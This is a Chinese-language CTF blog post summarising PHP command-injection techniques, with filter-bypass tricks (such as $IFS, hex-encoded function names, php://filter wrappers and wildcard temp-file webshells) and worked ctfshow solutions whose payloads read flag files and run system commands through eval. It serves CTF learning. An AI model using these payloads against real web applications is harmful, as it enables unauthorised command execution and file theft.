logo

CTF命令执行小总结

作者:n00bk1ng2021.09.22 23:00浏览量:581

简介:简单总结

命令执行

命令执行:攻击者可以通过web应用执行系统命令,从而获取敏感信息,甚至拿到shell权限等等,造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行。

常见命令及解释

执行常见系统命令

常见的系统命令可以进行命令执行:
awk 格式:awk’{printf $0;}’flag.php || 该命令意思是其全局检索flag.php内容并输出
cat/tac 读取,tac是cat的倒向读取
nl 读取文件,并在文件的每一行前面标上行号
vi/vim 编辑器,可以实现查看文件
od 二进制方式读取文件内容
more 类似于cat
mv/cp 复制,但是可以通过复制的文件输出
unique 可以通过file -f;报错出具体内容
ls 读目录

实际操作就是通过以上命令实现命令执行

函数

system() 执行命令
passthru()
exec()
shell_exec()
popen()
pcntl_exec()
反引号 同shell_exec()
eval() 执行命令
show_source() 高亮显示文件
highlight_file() 高亮显示文件
array_reverse() 反向输出元素
pos() 输出当前元素的值
localeconv() 返回一包含本地数字及货币格式信息的数组
include 一般用于括号被过滤的情况,因为可以不用括号
require 一般用于括号被过滤的情况,因为可以不用括号
echo() 输出
next() 下一个元素

绕过姿势

绕过总结

一般情况下是给出一些函数的过滤,或者是一些特殊字符、空格之类的过滤,有很多方式可以进行绕过:
1.十六进制例如("\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");)、转义字符例如(echo`strings%09f*`; 或echo`strings\$IFS\$9f*`或者echo(`nl%09fl[abc]*`);)
2.借助php伪协议命令执行:括号或者分号被过滤时:include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php等方式。
3.$IFS,$IFS默认为空白(空格、制表符、换行符),一般用来做空格绕过
4.\可以绕过过滤flag关键字的linux语法下支持
5.通过环境变量拼接执行命令。例如:${PATH:5:1}${PATH:2:1}拼接后是ls,有的时候也会在这个基础上进行过滤,加入过滤了数字,那就可以使用A来对应着0,~也可以指定从后往前数,还有一些其他命令比如${HOME}等等,具体可以看下这篇文章:linux基础知识:Bash的内置变量

函数套娃

这是之前做过的一道对字符过滤严格的一个题的时候出现的一种做题思路,一般是上面函数中的多个进行组合拿flag的过程,具体思路就是通过函数进行对flag位置的定位,最后读取获取flag的过程,可以看下后面的一个例题。

特殊题

这是去年做过的一个国赛题给的一个命令执行的思路,具体看下面的例题

无字母无数字命令执行

这类题当时很长一段时间是没有理解的,后来看了一篇文章,有了一点小小的个人见解…毕竟很菜,所以大胆的说出来,请大佬们指点。就是通过上传文件的临时文件拿到flag,也就是在tmp/php???中,因为在生成的临时文件中是存在大写字母的,因此可以利用通配符[@-[]进行大写字母的匹配,然后构造poc执行命令,附上P神文章:无字母数字webshell
也有yu师傅的一篇文章也能实现:无数字字母绕过正则表达式

通过文件包含、文件上传拿shell进行命令执行

类似于上面的P神的做法,不过基本上拿到shell就可以直接连蚁剑拿flag了

FFI类型题

emm,这类题不是很明白,先放在这里,后续学成归来。

open_basedir类型

控制可以访问的目录路径,限制仅可访问的目录。

例题

ctfshow web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

(__FILE__)
当时拿到代码后没多想,直接POST一个参数,执行命令了就,然后看到hint里面是进行了套娃,payload:show_source(next(array_reverse(scandir(pos(localeconv())))));,然后就分析了下,按照这个思路的话,具体就是一开始先查看当前文件夹下的文件,执行print_r(scandir(dirname(__FILE__)));,能够看到所有文件
1632322187288.jpg
然后就想办法读取flag.php文件,先进行定位,这里利用到了next()和arrayreverse()函数,第一个是下一个元素的意思,第二个是反向输出元素的意思,所以如果运行print_r(next(array_reverse(scandir(dirname(__FILE__)))));的话,应该会指向flag.php1632322337551.jpg
成功,那么需要进行输出,形成最后的payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));就可以拿到flag,当然,不改变前面的函数,直接输出也是可以输出的,`payload:?c=show_source(next(array_reverse(scandir(dirname(__FILE
)))));`,highlight_file()可以和show_source()替换。后来具体找了一下这个题,在buu上找到了,叫禁止套娃,可以去做一下。

ctfshow web124

这个也是去年国赛的一道题,叫Love_Math,打开查看源代码

 <?php



error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

题目大意就是ban掉了除数学函数外的其他函数,只允许运行数学函数。一开始也不是很明白该怎么做,后来看了wp才明白一点,菜死…白名单中,有几个我们可以利用的函数,先列一下(yu师傅牛批):

base_convert(number,frombase,tobase);
参数    描述
number        必需。规定要转换的数。
frombase    必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase        必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string

base_convert可以实现在2到36进制之间任意进制的转换,然后我们需要执行命令,初步思想就是构造一个$_GET[a]($_GET[b])&a=&b=就一定要用到数字转字符的操作,这时候就要用到hex2bin函数,他可以实现把十六进制值的字符串转换为 ASCII 字符,因此就需要构造hex2bin,然后思路就是利用base_convert函数将hex2bin从36进制转换为10进制,因为从36进制中包含所有的数字和字母,于是再次转换回来就可以使用hex2bin函数了,然后再通过该函数进行其他字符的构造,这里将_GET构造成先由bin2hex从字符串转换为十六进制,然后利用hexdec从16进制转换为10进制,然后把得数带入语句中转换回去,就可以构造payload了,于是构造_GET的payload是:base_convert('37907361743',10,36)(dechex('1598506324'))于是尝试构造执行命令的payload,即$_GET[a]($_GET[b])&a=system&b=cat f*,这里要注意一点,a和b不能随便取,一会儿要换成别的在白名单里的函数名。所以最终payload:?c=$pi=base_convert('37907361743',10,36)(dechex('1598506324'));pi{abs}(pi{acos})&abs=system&acos=cat f*;拿到flag
整理一下:
1.想办法构造$_GET[abs]($_GET[acos])&abs=system&acos=cat f*
2.中括号用花括号代替,尝试用白名单中的函数构造hex2bin函数,利用hex2bin函数实现命令执行
3.构造hex2bin函数,利用base_convert函数
4.利用构造好的hex2bin函数构造_GET
5.构造payload,命令执行

相关文章推荐

发表评论

  • avatar
    n00bk1ng2021.11.22 10:36
    https://login.bdstatic.com/logout?redirect=https://bce.bdstatic.com/bce-developer/uploads/developer_2e96f60.jpg
    • 回复